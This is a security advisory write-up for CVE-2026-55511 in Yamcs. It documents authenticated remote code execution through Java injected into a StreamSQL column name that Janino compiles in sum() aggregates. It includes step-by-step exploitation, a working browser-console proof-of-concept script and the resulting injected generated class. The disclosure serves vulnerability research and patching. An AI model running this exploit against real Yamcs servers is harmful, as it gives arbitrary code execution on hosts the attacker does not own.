# Yamcs vulnerable to authenticated RCE via StreamSQL aggregate-compiler column-name injection in Yamcs `executeSql`

Authenticated Yamcs user with ControlArchiving injects Java via an unescaped StreamSQL column name compiled by Janino in sum() aggregates, achieving RCE on the server host.

- Payout: Research
- Severity: critical
- Program: Yamcs
- Found by: Yanchon918s, manus-use
- Disclosed: 2026-08-28
- CVE: CVE-2026-55511
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-3g44-3m7x-cgg2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3g44-3m7x-cgg2
- Tags: area:web domain:api impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:java technique:chained technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** Yamcs server StreamSQL aggregate compiler (POST /api/archive/{instance}:executeSql)
**Root cause:** SumExpression interpolates the raw column name into generated Java identifier position inside newData(), and sanitizeName only maps '/' and '-' to '_', so arbitrary Java statements pass through into Janino-compiled source with no sandbox.
**Steps:**
1. Authenticate as a user holding only SystemPrivilege.ControlArchiving (POST /auth/token, grant_type=password).
2. Create a table with a malicious column name: `create table <rnd>("dummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy" double, id int, primary key(id))` via POST /api/archive/{instance}:executeSql.
3. Insert a row: `insert into <rnd>(id, "<col>") values(1, 1.0)`.
4. Trigger compilation: `select sum("<col>") from <rnd>` — aggInputList is null for plain columns so the bare Expression#compile() gate is skipped and getCompiledAggregate() runs.
5. Injected statements execute in newData(Tuple) per row; verify marker directory created on host.
**How found:** Noticed the sibling CVE-2026-44632 fix only hardened the algorithm-override Janino path, then audited other Janino sinks in org.yamcs.yarch.streamsql; traced sanitizeName's two-character replacement and reasoned that the aggregate path differs from the bare-column path because both emissions land in a void statement-context method with no return, avoiding Janino's unreachable-statement rejection.
**Exploitation:** Precondition: ControlArchiving privilege. Attacker creates a table whose column name carries `;`-separated Java statements, inserts a row, then runs `select sum("<col>")`. Because the aggregate argument is a plain column, SelectExpression sets aggInputList=null, skipping the bare-expression compile that would reject unreachable statements; SumExpression emits the name twice inside the void newData() method, so the payload compiles and runs per tuple under the Yamcs JVM, giving arbitrary Java execution (filesystem, process exec, reflection).
**Escalation:** Privilege boundary crossed from ControlArchiving (archive management) to full server-process/host code execution; scope Changed.
**Insight:** When a code generator has one hardened sink, enumerate every other call site of the same compiler and check which syntactic context (expression vs statement, return vs void) each interpolation lands in — a payload blocked by 'unreachable statement' in one path compiles cleanly in a void method; also check whether an optimization (aggInputList=null for plain columns) skips the validation path entirely.

## Proof of concept (copied exactly from the original report)

**Browser-console PoC creating malicious column and executing sum**

```
const INSTANCE = "myproject";                       // <-- set to a real instance name
const API = location.origin + "/api/archive/" + INSTANCE + ":executeSql";

// build `new String(new char[]{..})` so the payload needs no " or /
const jchars = s => "new String(new char[]{" + [...s].map(c => c.charCodeAt(0)).join(",") + "})";
const MARKER = "/tmp/yamcs-rce-poc-" + Date.now();   // marker the injected Java will create
const col = "dummy; new java.io.File(" + jchars(MARKER) + ").mkdirs(); coldummy=coldummy";
const TABLE = "rcepoc_" + Date.now();                // unique table name so re-runs don't collide
const q = s => '"' + s + '"';                        // double-quote a StreamSQL identifier
const run = stmt => fetch(API, {
  method: "POST", credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ statement: stmt }),
}).then(r => r.text());

(async () => {
  console.log("create:", await run(`create table ${TABLE}(${q(col)} double, id int, primary key(id))`));
  console.log("insert:", await run(`insert into ${TABLE}(id, ${q(col)}) values(1, 1.0)`));
  console.log("select sum (compiles aggregate -> runs newData):", await run(`select sum(${q(col)}) from ${TABLE}`));
  console.log(`Now check the Yamcs host: directory ${MARKER} exists => arbitrary code executed (RCE).`);
```

**Generated vulnerable aggregate class with injected newData**

```
package org.yamcs.yarch;
public class AggregateExpressionN implements CompiledAggregateExpression {
    double sum;
    public void newData(Tuple tuple) {
        Double coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy =  (Double)tuple.getColumn("dummy; new java.io.File(...).mkdirs(); coldummy=coldummy");
        sum+=coldummy; new java.io.File(new String(new char[]{...})).mkdirs(); coldummy=coldummy;
    }
    public Object getValue() { return sum; }
    public void clear() { sum=0; }
```

